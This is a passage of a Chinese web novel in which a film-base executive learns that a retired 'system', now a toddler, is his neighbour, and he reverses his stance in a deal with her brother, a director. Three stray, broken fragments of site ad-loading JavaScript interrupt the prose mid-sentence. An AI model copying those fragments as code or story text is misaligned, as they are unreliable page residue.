影视基地办公楼内,张强满脸怒容地将文件夹摔回桌上,他不解地质问道:“这漏洞百出,格式都不对的材料交上来,是要我来帮忙修改吗?!” 因为业绩下滑,张强连轴转地开了大大小小无数会议,整个人疲惫又愤怒,他挥手让面前这个没用的废物出去,又喊住着急忙慌的对方:“光自己滚有什么用啊?把文件带出去改啊?!” 张强气急地在椅子上向后倒去,他抬手捏了捏晴明穴,桌上的手机亮了一下。 是什么投资群的无用消息,张强随手翻了翻,看到他们在讨论要不要投资“剑澜”剧组。 【张总:昨天小赵总为难了一下剑澜导演,说是坊传不想让温时礼那么顺利。】 【王总:小赵总什么时候和坊传有交集了?坊传和温时礼有矛盾,关他一个卖车的什么事?】 【张总:害,怒发冲冠为红颜呗,听说是故意攒的局,就为了给小雀儿出气。】 剑澜?看着怪眼熟的,张强皱眉深思,许久才想起来,他下午还得和温时礼见面谈什么合作。 他轻嗤,心情更差了:本来就烦!还得罪什么坊传娱乐!?让我的合作打水漂了怎么办?!这还要合作吗?! 张强不满地合眼,深深吐出一口浊气,想着放松一下的他打开了许久未关顾的系统群聊,准备翻翻之前的聊天记录调整心情,缓解一下此刻的烦闷。 [手环研发/杨珍妮:系统退休了,她现在是人类幼崽,遇到了不好解决的事情向我求助。] 张强一惊:什么?!为什么不找我穿越帮忙?! [基地首领/赵得铸:@影视基地/张强哈哈哈哈你得瑟什么!?有人已经和系统见过面了!你只是被私信了一下!] 张强猛地站起身一拍桌子:他爹的!本来就烦! 14. 拒绝合作 张强这一拍用足了力道,他的手掌震得发麻,连带着整个人虎躯一震。 他连忙给系统发去私信,期待中又带着点委屈:自上次系统主动私信询问后,就没再回过他消息了。 [影视基地/张强:系统!我也能穿越帮忙,如果是谈合作一类的,我都能出面搞定!] [影视基地/张强:也不知道对面是什么品种的垃圾袋,这么能装!居然不同意和你合作!还要你为他煞费苦心!] [影视基地/张强:如果是我,绝对不会这样,你就放心交给我去谈合作吧,影视合作这方面我很有经验的!] 门外的助理小张领着温时礼和他的助理小向,还未敲门,就被这震天响的拍桌声弄得有些尴尬,小张暗道领导真是在气头上,温时礼他们来得真不是时候,他尴尬地挠挠脸颊,决定未雨绸缪,解释道:“最近我们张总的心情不是很好,见谅,见谅哈,不是针对你们。” 温时礼不置可否,他轻轻笑了一下:“没关系。” 小张敲门告知来客后,领着二人坐到办公室的茶桌边,自觉地抓过水壶开始烧水。 张强扭动着肩膀,让背对着入口的椅背转过身,正向着温时礼他们,他颇有B格地清了清嗓子,抬手示意道:“坐。” 说罢,他从办公椅上起身,落座在了茶桌主位。 小张一边接水,一边留意着张强的动向,初出茅庐、又有点中二的他再次被张强的动静震住,他在心中发出了猴叫:哦!好有牌面的出场!拍灯!为他转身! 张强从茶柜顶上搜罗出一罐不那么贵的茶叶,他招待客人有自己的一套逻辑,如果是“贵客”,就会安排茶艺师傅在旁斟茶,像温时礼这种此刻他并不满意,思索着要不要终止合作的新人导演,自然而然只能喝他自己乱泡的茶叶洗澡水。 夜以继日开会数场的张强耐心不多,他一边关注着系统聊天界面,等待系统的回复,三心二意的他只想早点结束尽快收场,于是直接开门见山地说:“听说,你的剧组昨天有一些负面热搜啊。” 听到张强一张口就这么犀利,小向被热茶熏上的水蒸气弄得有些汗流浃背了,他试图以自己的真诚打动对方:“张总看到热搜了,是有一些小事,我们已经在着手处理了,问题不大。” 温时礼抿了一口茶水,顺着小向的话头往下说,他语气平缓地说:“如果张总是因为昨晚的事件对此次合作存疑,那么请您放心,对廖横武前辈并不存在剧组霸凌,且已经做好了完整的公关方案,保证会在不影响项目口碑的情况下,让热度上升。” “哦哦。”张强敷衍地应了两声。 虽然温时礼话语恳切,但张强并没有怎么放在心上,毕竟谈判桌上的每一个人都巧舌如簧,十分的会说漂亮话,说七分听三分都够呛。 张强拿过一旁的文件夹,翻开早就准备好的项目分析表,看似一脸严肃,实则偷偷乘机将系统私聊界面切换到了群聊,准备围观一下群友插科打诨。 张强:和温时礼谈没什么意思,反正这合作应该是谈不成了,不如收集点有关系统的信息,这才是目前最有意义的事! “其他的项目合作没有什么问题,主要是IP运营合作这方面,如果你的剧有过多的负面新闻,将会影响到我那未对外开放的度假山庄运营,我没必要冒这么大的风险和你合作。” 张强语气不是很好,看似提醒,实际直接地表达了他希望更改合作方式的意图,他将手里的项目合作IP分析递给温时礼,郑重其事道:“或许你可以看看最后一页,那里有新的合作方案,我不以投资的形式参与你的项目,当然,在这个山庄拍摄就不是免费的了,费用也列在了最后一页,我希望温导能好好考虑。” 张强先兵后礼,他挂上长辈的和煦,亲手将温时礼的茶杯斟满,看似诚心实意地询问道:“按我们之前讨论的方案,这个未营业的山庄免费借你们拍摄,但如果你们热度、口碑不佳,后续的联名度假活动失败,我亏的可不是一星半点,小温啊,我可以拿一个有前景的新项目,和你们剧组的不确定性绑定吗?” 房间一下静默得可怕,只余斟茶的流水声。 早在张强再次刚开口之前,小向就隐隐预感大事不妙:张强开口询问的第一句话过于直接,没有铺垫,说明缺乏耐心,态度焦急,今天实在是不适合软磨硬泡地谈合作。 听完张强的话,小向脑海里弹幕地飘着许多“果然”,他强装镇定地偏头打量温时礼手里的文件夹,心中叫苦不迭:这不就差直接开口说没得商量了吗?!本来没拉到投资就没钱,屋漏偏逢连夜雨!投资型合作改租赁?!这不是要命吗?! 一旁的小张见空气凝固,一脸崇拜地顶着领导的背影:效率高,不拐弯抹角!不愧是霸总中的霸总! 温时礼将温茶咽下,他仔细地浏览了文件夹内容,看完后,他缓缓将文件夹搁在茶几上,心中不免有些忐忑,但说话的语气还是不急不徐:“还是希望张总能再考虑考虑,现在热搜对我们剧组不利的评论未必没有我的手笔。” 温时礼言尽于此,站在他的立场看,他并不能将公关方案全盘托出,毕竟他和张强并不熟悉,不清楚他和廖横武背后资本的关系。 但站在张强的立场来看,他只能看到目前的热搜走向,风评对剧组全然不利,会担忧合作前景,不愿拿几个亿的度假山庄来赌,也是情有可原的。 温时礼转动着手里的茶杯,他有种一拳打在棉花上的无力感,还是过于被动:“关于租赁合作,我会考虑的,也希望张总能再考虑考虑,最迟一周,就能让您看到满意的答复,或许我们可以延后此次的合作交谈。” “延后不了。”张强轻轻将杯底磕在托盘上,拖干净杯底的滴水,“接下去我要去出差了,归期不定,我还是希望今天下午就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能把合作谈拢,毕竟温导也急着拍戏吧。” 他磕茶杯的举动也磕在了小向心上,小向紧张地空咽了口,心想:张总今天怎么剑拔弩张的?!一点回旋的余地都没有! “你考虑考虑吧。”张强放下茶杯,见温时礼眉头轻皱,他补充了自己的顾虑,“或许在剧组负面新闻上你有公关策略,但现在的娱乐导向,廖横武带动舆论,让网友留下了缺武指,剧组又准备用特效敷衍的初印象,拉高了网友对这部剧的要求,成为爆款要花大力气。” 张强:“投资这事儿,一看眼缘,很多人都只是投给熟人,亏了也就亏了,新人很难展现价值,我愿意打折是我和你合作的诚意,但我影视基地也很难做,还是决定求安稳,没法配你赌把大的。” 听到“影视基地难做”这话,小张附和地点点头,毕竟先前他猜错了领导开心的理由,张总并不是因为业绩很好看而笑,应该是因为业绩太难看了被气笑了! 小张再次崇敬地望着张强,在心里暗暗赞叹:难怪能做大做强呢,审时度势,决策果断且理智!运筹帷幄! 张强见温时礼垂眸沉思,也没再逼迫他做出选择,他忙里偷闲地查看起系统群聊滚动的信息。 [剑修/张狗蛋:穿越需要准备什么吗?有什么步骤?] [剑修/张狗蛋:我只是随便问问,也不是很想知道。] [画师/楚严玉:@手环研发/杨珍妮系统长什么样啊?我们私聊描述一下,我要给系统画小人儿!] …… 一个主系统弹窗打断了群聊。 【主系统群聊提醒:[链接]新的朋友圈信息已审核完毕,趁热快去逛逛吧!】 什么朋友圈?!张强一头雾水地眨眨眼,他假装很忙地抽出其他文件,点进了系统链接。 【手环研发/杨珍妮:穿越时空和小俞见面!爱心爱心爱心.jpg[照片九宫格]】 张强扫视过风景照:这风景还怪眼熟的。 他又将九宫格中间的那张合照放大,眯着眼睛摸下巴陷入思考:这幼崽看起来更是怪眼熟的…… 小向一直紧盯张强的一举一动,见他面露犹疑,心里一惊:不会是又想到了什么顾虑,决定完全不合作了吧!? 小张见领导一副思考者状,也是一脸好奇:领导肯定是想出更利于基地的合作方案了!马上就能大赚一笔! 静默中,温时礼在心里叹了口气,这项目真是处处埋雷,就没什么是称心如意的,他沉声道:“景区亏本的顾虑,或许可以增加对赌协议。” 听到温时礼声音的张强猛地抬头,他在两助理诧异的目光下忽然起身,双手撑在桌沿,凝眉看向温时礼。 张强:“……不用了。”这幼崽……长得好像你温时礼的妹妹?! 小向的心凉了半截:对赌协议都不同意?!那不是完全没得谈了?!不要啊!! 15. 谁叫我命好 张强神情激动,克制着和温时礼握手的冲动,他冷静地想:我还得再确认一下!再来决定这合作的去留。 在小向紧张,小张期待,和温时礼不解的目光下,张强不自然地轻咳一声,他收回撑在桌上的双手,摸走了夹层里的手机,说道:“我去上个厕所。” 小张原本期待于领导能说出什么新的话术,结果只是想要上个厕所,他尽职尽责地出声:“请稍等片刻。” 小向心里其实是不希望张强去上这个厕所的,舆论瞬息万变,万一上完厕所回来,觉得他们更没投资前景了怎么办?! 四人里只有温时礼显得最为镇定,他礼貌示意:“请便。” 张强迫不及待地溜进办公室的厕所,殊不知在小张看来,他这就是憋不住了,小张在心中暗暗发誓:以后张总的食物一定要严格把关!是哪个刁民敢害我们张总?!你看,害得张总都落荒而逃了! 小张悄悄瞥了眼座位上的两人,见两人神色并无异常,稍稍舒了口气:希望他们不会觉得我们总裁很没B格,都怪那该死的午饭! 张强匆匆将门关上,隔绝了小张幽怨的眼神,他打开系统私聊界面,找到了杨珍妮的账号,给她发去私信。 [影视基地/张强:系统找你帮忙做什么?] 那头的杨珍妮刚好在休息,但她并没有搭理张强的私信,毕竟这一天来私信的人不计其数。 [影视基地/张强:你那个朋友圈,是不是在“太悦湾”别墅区拍的,那个湖是不是叫凤凰河?] [影视基地/张强:系统退休成幼崽,是不是三岁左右,现在叫柏俞?] [影视基地/张强:收到请回复,这很重要!我可能和系统同在一个位面,最适合每天为她排忧解难!] 张强将信息界面细细读了一遍,心里一阵得瑟,他强压住兴奋,期待着对面的回复。 没高兴多久,他又皱眉发起愁来,如果他真的和系统在一个位面,且温时礼是系统现在的哥哥,那他今天的谈判态度,是不是太强硬了? [手环研究/杨珍妮:是太悦湾,凤凰河,确实叫柏俞。] 那头的杨珍妮有些羡慕,她手指有节奏地敲击着桌面,心泛嘀咕:这人怎么这么好命,正好和系统一个位面!? [手环研究/杨珍妮:柏俞有个哥哥,叫温时礼,如果你那也有,大概率是一个位面。] 读到回复的张强瞳孔地震,他先是兴奋得在厕所发出了大笑,而后懊恼地一拍大腿:人生啊,就是大起大落准备起起起! 厕所外的三人听见动静,小向有些惊疑不定地想要转身查看情况,但又觉得不妥,好奇得抓耳挠腮。 而小张心里却有些麻了:张总怎么了?!在厕所捡到钱了?那也不能笑这么大声啊!让外人听到多不好! 喜上眉梢的张强连忙跑到群聊里炫耀,业绩下滑带来的阴霾全都一扫而空,他现在恨不得当场放鞭炮庆祝,背景音乐就大放“今天是个好日子”。 [画师/楚严玉:大家看了新朋友圈吗?系统长得好可爱啊!!!是时候肝图了!] [剑修/张狗蛋:所以怎样才能穿越?系统选中才能吗?] [剑修/张狗蛋:哈哈,我确实不是特别在意啦。] [影视基地/张强:哈哈!异父异母的兄弟姐妹们,我以后再也不用穿越啦!] [基地首领/赵得铸:@影视基地/张强嫉妒到精神错乱了?没事的,总不能是系统看杨珍妮比较顺眼吧。] [影视基地/张强:说出来怕你们太过羡慕我,刚和杨珍妮通过气了,我是那个幸运儿,有幸和系统在一个位面!] [影视基地/张强:哎……像我这种命好的人,真是世间少有。] [异国王储/Kari:大袜子,这是中文吗?我怎么看不懂啊?!(撤回)] 原本群聊都在夸赞柏俞外貌可爱,和羡慕杨珍妮的短暂穿越史,但张强这一袭话,让不少人纷纷破防。 [器修/钱多多:你说是就是啊,我还说我也是叻。] [影视基地/张强:兄弟们等着,我今晚就去太悦湾拍照,说起来,我和系统还住同一个别墅区叻。] [影视基地/张强:哈哈!人逢喜事精神爽,兄弟会多拍照片证明一下,说不定还能偶遇散步的系统!] [剑修/张狗蛋:哈哈,笑屁,等我穿越了就找你线下1V1。] [影视基地/张强:@剑修/张狗蛋虽然我们同姓,但不同命啊,也不用过于羡慕,拿着你的剑玩去吧。] 张强笑容猖狂,看着群里羡慕嫉妒的回复,心满意足:今晚出差暂停!我要去逛公园! 笑着笑着,张强的嘴角一顿:不对!温时礼的剧组是不是少了个武指,万一系统真喊来剑修,岂不是大事不妙?! 毕竟他也是看过不少修仙文的,那里可没什么单挑不能出人命的法律。 [影视基地/张强:@剑修/张狗蛋系统在文明社会,打打杀杀的多不好,哈哈,有机会一起喝茶,修身养性!] [剑修/张狗蛋:你还敢教育我?!得瑟!你给我等着!] 读完回复的张强嘴角抽搐,剑修的脾气都这么火爆的吗?! 他逃也似的切会私聊界面。 [手环研发/杨珍妮:系统请我过去帮忙修手机,粘吧ID:系统系统我爱你。] [手环研发/杨珍妮:帮我多留意柏俞动向,多多帮助她。] [影视基地/张强:你放八百个心!] 边回复,张强回忆着这个眼熟的ID,他总觉得在哪里见过,好像是在剧组丑闻热搜的上面? 他掏出口袋里的手机,翻阅起昨晚的热搜。 大致浏览了系统引爆的热搜,张强了然地点头,和自己获奖了一样美滋滋的:不愧是系统,退休了也是世界中心!这个马甲只有我知道内情,还可以时时查看动向! 他正美着,手机弹出一串飞鸽弹窗,张强心情极佳地顺手点进去。 【李总:新人导演得罪了坊传和小赵总,前路艰难啊。】 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 【孙总:这有啥好讨论的,没看热搜吗?塌房风险大着呢,反正我不投。】 【张总:不说这个了,过两天是赵老爷子宝贝孙儿的五岁生日,大家都送什么?】 【王总:选件大人喜欢的,再挑个小孩喜欢的玩具吧@张,你小孩同龄,有什么推荐没?】 被艾特的张强无暇顾及回复,他在心里复盘,自己有没有在系统面前说过什么冒犯的话。 柏俞小姨带她出席过这样的豪门聚会,同样领着小孩参加的张强自然见过她们。 但豪门里,大多数人都瞧不上孤僻木讷的柏俞,背地里偷偷拿她当炫耀自家小孩的对照组,觉得柏俞过于呆傻,可能是智力上有什么缺陷。 一想到自己也曾顺嘴附和过,说柏俞是个笨蛋,张强顿时笑不出来了,他悔恨地拍了两下自己的嘴,嗫嚅道:“臭嘴!臭嘴!就你会说!” 张强不是会内耗的性子,心里迅速决定之后要维护系统,他看着大家都不投资的消息,心中暗喜:嘿嘿,你们都不投,我投!偷偷赚钱,惊艳所有人! 他捧着手机不断偷笑:嘻嘻!事业刚刚下滑,就有系统在我身边,世界上怎么会有我这么命好的人! 笑完想起柏俞的哥哥还等在门外,张强将手机揣回兜里,打开卫生间的大门抬步走了出去。 温时礼注视着张强重新落座,和他对上视线,从张强的眼神里品出一丝羡慕的复杂感情。 温时礼被张强看得不自觉地挺背调整坐姿,心里有些莫名。 小向原本还在忧心合作,但他左看看温时礼,右看看张强,一头雾水地挠挠鬓角,他觉得张强的表情有点怪异,说不上来:上个厕所回来,怎么表情都变怪了?是在厕所里中邪了吗?! 张强在三人的目光中,淡定从容地从茶柜中层拿出了另一罐茶叶,微笑地介绍道:“这茶叶,是我新拍的拍品。” 想好新的折中方案,刚准备开口的温时礼:? 小向不动声色地眯眼辨认先前桌上的那罐茶叶,了然地猜测:之前泡的是铁观音,手里拿的是拍卖品,所以他是想说……我们不配喝这么贵的高级茶叶?! 小张也是心里一惊,觉得领导也太直接了,话里有话,传达了几层的意思:其一是他喜茶,送礼可以送茶叶;其二是让别人掂量掂量自己几斤几两。 但小张觉得温时礼是诚信想合作,他眼抽筋似的给愣住的温向二人使眼色:我们张总喜欢喝茶,快说给他送啊! 小向最先注意到小张毫不掩饰的眼部运动,他悲凉地又喝了一口便宜的铁观音,心中愤慨:老狐狸都只会想着锦上添花!想维持先前的合作还要送礼!这万恶的暗示送礼的娱乐圈啊! 温时礼吸了口气,他一时有些拿不准张强的意思,但直觉不是什么好事,只能沉默以对。 在几人各有所思的气氛下,张强忍痛割爱地伸手,将茶叶猛地送到温时礼眼前,霸总地说:“喜欢吗?喜欢送你!” 在想新话术应对的温时礼:? “啊???” 16. 你命带贵人 温时礼呆滞地推拒着张强硬塞过来的茶叶罐子,他们就像过年欲拒还迎的表情包那样,张强一个劲儿地要把罐子往温时礼怀里送,但温时礼一再摆手表示拒绝。 这样的场景出现在严肃的谈判桌上,多少有些滑稽,和“收红包动图”的欲拒还迎不同,温时礼是真的不想要也不敢收。 温时礼:哪有人谈合作,上一秒表示合作暂停,下一秒就送你一份大礼的?! 以往合作搁置、被各种刁难时,温时礼都没流什么汗,一派运筹帷幄的沉稳样,反倒是张强这一手让他有些摸不着头脑,温时礼的后背起了一层薄汗。 他在椅子上坐如针毡,身子轻微往后倾斜,但又不敢幅度太大,觉得那样显得很没礼貌,温时礼推拒着张强塞来的罐子,有些勉强地说:“……张总,您这是……不必破费。” 这话刚说出口,温时礼忽地一怔,他在心中讪笑:怎么搞得像张强求着他合作一样?!这不是反倒天罡了吗?! “……哈哈哈哈哈。” 见此情景,小向发出了悠长的尬笑,试图缓和一下这让他搞不懂的氛围,小向现在宁愿张强像一开始那样不假辞色,至少还能让人琢磨得透,而不是像现在这样,局势让人感到迷惑。 小向一时间竟不知该说些什么,笑完后只能在心里泛起嘀咕:这怕不是中邪了吧!?还是我拜的哪个心软的神,在张总上厕所的时候给了他什么提示?!虽然在厕所举行有点不太讲究…… 在气氛僵持之际,小张一个箭步冲上前,一把夺过了张强手中的茶叶罐子,他打着哈哈道:“哈哈!我们张总这是给你们准备伴手礼呢,来谈合作,不白来,都不白来哈。” 小张:“我给您先用礼品袋装起来,等走的时候记得带走哈。” 张强给小张投去颇为赞同的眼神,他轻咳一声,这才意识到自己被喜悦冲昏了头脑,行事有些莽撞,他抬手调整着西装领带,在温时礼茫然的目光中施施然重新落座。 小张从柜子最下面掏出了个红色纸袋,袋子上还印着影视基地的联名logo,张强满意地点点头,对这生活助理的上道表示赞赏:埋下一个伏笔,这样温时礼把东西带回家,系统看见了,就能知道是他送的了! 哎,张强在心中默默感叹道,怎么会有我这么会布局的人! “张总。”虽然温时礼仍旧有些惊疑不定,但他还是专业地决定先把合作拉回正轨,他不会自恋地认为张强送茶叶是有求于他,相反,他有些警惕起来,认为这是一个坑人前的烟雾弹。 在张强去卫生间的这段时间里,温时礼一直在思索要不要和他透露公关方案,毕竟对商场老狐狸来说,没看到方案就等于没有,口说无凭,拿不出方案、数据的话全是空中楼阁。 思及此,温时礼态度谦和,语气不急不徐地说:“公关方案稍晚些,会给您发一份简要版,毕竟风向瞬息万变,透露太多容易出些纰漏,至于您担心的武术指导和网上关于特效、打戏的舆论,我们也在物色新的武术指导了,请您放心,或许等看到我们做出的回应,在来谈这份合作也不迟,我会先拍摄其他场景的部分。” 意识到自己行为不妥的张强也冷静下来,他恢复先前的稳重沉着,手肘撑在桌上托腮道:“我刚刚思索了一下……” 来了来了!小向的心提了起来,新的拒绝方案!先让敌人感觉摸不着头脑,然后再提出一个更苛刻的条件!让敌人觉得应该见好就答应,否则条件只会越来越差!这就是先礼后兵吗?! 就在小向的心提到嗓子眼时,他听到张强缓慢开口:“我知道你的公关方案是一个瞬息万变的秘密,温导年轻有为,不用事事向我说明,哥们相信你!” 张强郑重其事道:“请务必按之前的合作条款继续进行,合适的话我们直接签之前的合同吧。” 白紧张了的小向发出了短促的一声“啊?”。 张强没觉得小向的语气有什么不对,他继续道:“嘿嘿,如果可以,哥们手里有一笔小钱,我们可以再谈谈投资的事,你说我给‘剑澜’追加一笔投资的话,多少钱合适?” 小向:??? 这下小向更懵逼了,联系前因后果,他有个迷幻地猜测:所以你在提出更改合作条款后,为了和我们维持先前的合作,要贿赂我们?!攻守互换?! “这个IP分析,我之前找人做的时候,缺乏了最重要的一个分析成因,现在补上了,我很看好你,年轻人。”自从知道温时礼背后站着系统后,他看温时礼稍微顺眼起来,张强起身拍了拍温时礼的肩,一本正经道,“你的剧绝对可以爆红!” 见温时礼有些犹疑不解,想到在场只有自己一人清楚地知道系统的秘密,张强在心中感慨:哎,真是寂寞如雪的清醒人生啊! 心里憋不住事,但又不能打乱系统计划的张强,一脸神秘又兴奋地多说了两句:“我看得出来,你命带贵人,一切事情都会迎刃而解的。” 温时礼失笑,他现在是真的完全摸不清张强的想法,但如果他要按照先前的合作继续谈下去,总归是对自己有利,温时礼从背包中掏出早就准备好的文件,轻轻放在桌上,顺着张强的话接道:“那就借张总吉言了。” 看着温时礼面不改色的和张强谈起合作,小向觉得自己就像数学课低头捡笔,抬头就跟不上思路的学渣,他现在非常想摸出手机看看热搜,是不是关于剧组的风向变好了,除了这个原因,他想不出什么理由能让张强瞬间变脸。 在合作场合盯着手机十分不妥,小向克制住好奇,想通过思考点别的转移注意力:总不能先前IP分析,温哥命里没带贵人,所以不合作吧。比我还迷信?! 小向震惊中带着点困惑:没听说过张总还会算命啊?!还在厕所偷偷算命?!厕所仙人?! 感到困惑的“学渣”小向一抬头,和一脸便秘样的另一个“学渣”小张对上的视线,他心里终于平衡了些:哈哈,不止我一个人搞不清楚状况! 小张对张强恨铁不成钢,他还以为张总是想出了什么损招,所以先放出茶叶烟雾弹,迷惑一下敌人,结果张总只是脑抽!突然就要给敌人送钱送粮! 小张一脸信仰崩坏的难言表情:上个厕所回来变了个人,难道是把脑子一起拉出去了吗?!还我那个运筹帷幄睿智的张总!这该死的吃坏人肚子的午饭! 谈完有关影视 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 基地的合作,张强看着早就走过律师,现在终于签完字的新鲜合同,心里的大山算是落了地,这下可以躺着把钱赚了!还没人和他抢! 刚刚业绩下滑,就即将迎来新的事业阶段,张强心情一阵舒畅,他心满意足地问还在收合同的温时礼:“小温啊,你觉得刚刚哥的服务怎么样?” 温时礼:?……这是什么客服服务完的打分环节吗? 温时礼抬眸,他有些迟疑地回答道:“……不错?” 听到肯定答复的张强嘴角上扬,“不错就好。”觉得不错,就不能在系统面前拿合作说我坏话了哦! 小张一直目光炯炯地盯着张强,越盯,他幻灭的表情就越明显,霸总突然变客服,小张一脸不赞同,他面带失望地上下打量着张强,心想你再也不是我崇拜的那个霸总了。 一心想着投资的张强完全没get到助理的控诉,起身送温时礼出门:“没事的话晚上一起在西图澜雅吃个饭,叫上法务,我们谈谈投资的事情哈。” 小张提上红色纸袋,失魂落魄地跟着张强,将温时礼他们送出大门,他将手提袋强行塞进小向的手里,一脸生无可恋地说:“温导,你以后不用再要强了……因为你的强来了。” 小张:我们张总突发恶疾,又是给钱又是给地的。 原本要拒绝的小向被小张这句话弄得一呆,都忘了将纸袋还回去,直到和温时礼走出影视基地办公楼,他才卧槽一句:“中二病?!” 小向:“你的强来了……影视基地的人是不是每天活在戏里,天天在被窝里背梗?!” “难怪根本看不懂在想什么做什么呢!?” 小向边吐槽,边打开手机热搜,发现风向并没有改变,一切都按着温时礼的剧本进行,现在正进行到发布武指招募的阶段,正是风评对剧组最不利的时候。 小向感觉自己心情忐忑地来,一脸凝重地坐着喝茶,最后一脸懵逼地走。 虽然搞不清楚状况,但张强好像用不知道什么理由把自己说服了,又同意合作了,还要一举解决融资困难的问题。 小向恶寒地抱臂搓了搓胳膊,弱弱地说:“温哥,我想请假去庙里求串珠子,张总是不是被人下将头了……怪恐怖的!” 而送走温时礼的张强,让助理小张定了个餐厅,自己则下载了粘吧准备为系统冲锋陷阵,一想到柏俞是温时礼的妹妹他就感到痛心,毕竟温时礼在他眼里是个连小孩都会欺负的人,还管着柏俞不让她和自己的两个小孩玩。 柏俞好,温时礼坏! 张强:虽然温时礼欺负自己的乖乖小孩,品行一般,但他怎么这么命好,真是嫉妒! *** 柏家别墅。 迟迟没有等到便宜哥哥回家,柏俞百无聊赖地在电竞房里窝着,她将主系统下载好的慰问AI导入电脑,主系统提示下载完毕至少需要72小时。 柏俞打了个哈欠,她拥着小羊玩偶,盘腿在地毯上摇摆着。 【主系统:检测到事件关键节点——温时礼剧组正在公开招募武术指导。】 打瞌睡的柏俞稍稍精神起来,她摸索着给印象中的剑修发去招聘信息。 17. 新朋友 柏俞打完哈欠后,眼眶里蓄满了生理性的泪水,她没仔细看清,擦去眼泪后才察觉,她将招聘信息发在了大群里。 群聊一下炸开了锅。 [剑修/张狗蛋:你在邀请我吗?我很擅长舞剑的,正好我最近不是很忙,已化神,指导弟子还是可以胜任的。] [基地首领/赵得铸:我也会舞剑,现代拍修仙剧,用不着真的找修仙的指导吧?!] [基地首领/赵得铸:你在古代可能不清楚,现代人拍戏都是假的,只要会武术就行了,并不是真的请你去教授弟子修仙。] [基地首领/赵得铸:既然有深深的代沟,就让我去吧,我觉得我比他更能胜任这份工作!] [剑修/张狗蛋:@基地首领/赵得铸你每天都练剑吗?!就去去去!?] [剑修/张狗蛋:咳咳……我也没有非常想去,但是单论花拳绣腿,也是我这个剑修更花样百出吧。] [基地首领/赵得铸:@剑修/张狗蛋既然你不是非去不可,就别去了!死装哥!我非常想去啊!让给小弟我吧!] [器修/钱多多:死装哥是什么?现代的尊称吗?其实我们器修,从前早课也是要练剑锻炼身体的……] [器修/钱多多:早知道当初就选最穷的剑修了!!!大哭.jpg器修虽然钱多,但我会的东西,还能穿越帮上系统吗?我也想当死装哥!!!大哭.jpg] [科研/蓝依依:……] [影视基地/张强:兄弟姐妹们别着急,肯定还有其他机会可以面见系统的!不像我,哎……这就是命好吗?] [基地首领/赵得铸:@影视基地/张强和系统在一个位面了不起?!你又得瑟上了?!@剑修/张狗蛋快拿上你的40米大刀砍死他!] [剑修/张狗蛋:我练的是剑,不是刀……] 【主系统:@剑修/张狗蛋穿越通道已开启,请做好准备!】 虽然过程有些波折,但结果还是如柏俞所愿,主系统还适时弹出了柏俞最关心的问题补充——如何解决穿越者的黑户问题。 毕竟人类幼崽是不能自己出门见网友的,为了让前宿主们能名正言顺地来到她的位面,一个合适的现代身份不可或缺。 【主系统:二次穿越已成功开启,检测到系统存在漏洞,现已修补。】 主系统一开始保留穿越功能,本意是想让柏俞穿越,如果对现代退休生活不满意,还能随意去各个位面走走,哪曾想,柏俞直接将前宿主们召唤到了自己的位面,为她的退休生活遮风挡雨?! 【主系统:穿越满6小时后,会以转盘形式自动补齐穿越者位面身份,请放心穿越玩耍吧!】 【主系统:延迟检测到事件关键人物——廖横武、江岚、温时礼矛盾升级,请宿主自行前往“大眼”查看。】 【主系统:检测到事件关键人物——江岚,将“粘吧”为你说话的帖子隐藏。(补充:温时礼让其删除。)】 【主席听:检测到不关键人物——温时礼助理向小向,将“粘吧”求助帖隐藏。(补充:温时礼让其删除。)】 心里的小石头刚落了地,就疑似出了更大的问题,柏俞忙不迭地从地毯上起身,将怀里的小羊玩偶摆正放置在地毯上,有条不紊地回到房间找平板。 早上起来的时候平板已经没电关机了,柏俞将其留在了房间充电,吃完早饭后,跟着请假归来的保姆王妈前往书房读起了绘本,完全把“大眼”、“粘吧”的事情抛掷脑后了。 柏俞拔掉充电头,将倒扣的平板翻面,查看起两个APP,才发现廖横武在有关她的热搜下面蹭起了热度,他那毫无水花的热搜一举冲到了前十,殊途同归地将矛头指向了江岚、温时礼和“剑澜”剧组。 江岚的“大眼”下聚集了一批说话难听的廖横武粉丝,正和江岚的粉丝掐得昏天黑地,但因江岚粉丝少,廖横武的粉丝战斗力又强,呈现一边倒的网暴趋势。 柏俞大致浏览了几人的账号,得出了一些结论:江岚手握证据但不发,似乎正在营造百口莫辩的弱势形象,吃瓜网友正在分别怂恿廖横武和江岚上“瓜之大”综艺,想要直播吃一线瓜,但这火也烧到了温时礼身上,廖横武粉丝带节奏,认为温时礼包庇江岚,两人必有一腿,呼吁抵制没有武术指导的“特效”剧组。 但结合温时礼让两人删除“粘吧”帖子,柏俞猜测炮灰哥哥应该要开始反击了,她欣慰地晃晃脑袋,将界面切换成了“粘吧”,但“粘吧”弹出了更新提醒,需要更新完成才能再次登录。 柏俞随手同意了更新,在心中猜测着炮灰哥哥的下一步动作。 更新完成后,柏俞忽略了99+的信息弹窗,率先点开和“呵呵”的互聊界面,记下了“呵呵”的飞鸽号:对方是一个情感博主,兴许慰问型AI的推广可以找她谈谈合作。 在心里盘算着接下去的赚钱计划,柏俞随意地翻阅起了新增的软件功能,查看了一下专门的工作预约排期栏。 看着二三十条的排队申请,柏俞开心地眯起眼睛,她欣喜地举着平板转了个圈:有工作了,可以偷偷赚钱养所有人! 可柏俞还没高兴多久,就诧异地发现软件小红点再不断增多,未读信息一条接着一条,就像打游戏被人在草丛蹲点,她一路过就被捉了个正着! 柏俞转圈的动作一顿,有些疑惑地想:啊?!信息怎么突然多了起来? “呵呵”的私信也接二连三地发了过来。 情感博主呵呵:大佬!你终于上线了呜呜,真诚地问问能不能加个好友位。 情感博主呵呵:剪辑合作的事情请您一定考虑!至少让我为这一次的作品付费! 系统系统我爱你:好哦,看飞鸽。 柏俞有些僵硬地给呵呵发去好友申请,切换APP时才留意到,“粘吧”的最新更新增加了一条状态栏,她就如同明星出街,有着不少技术粉和吃瓜网友热情地在线追星! 既然是“明星”,自然也少不了黑粉,零星有人关注到了最开始的贴主删帖,最早有关手机修复的帖子在粘吧查无此帖了,这让不少路人纷纷涌向“路人I”的手机修复贴蹲守结果。 数据修复A:看热度上来了,怕营销翻车删帖了吧,不会数据修复就别立这个人设! 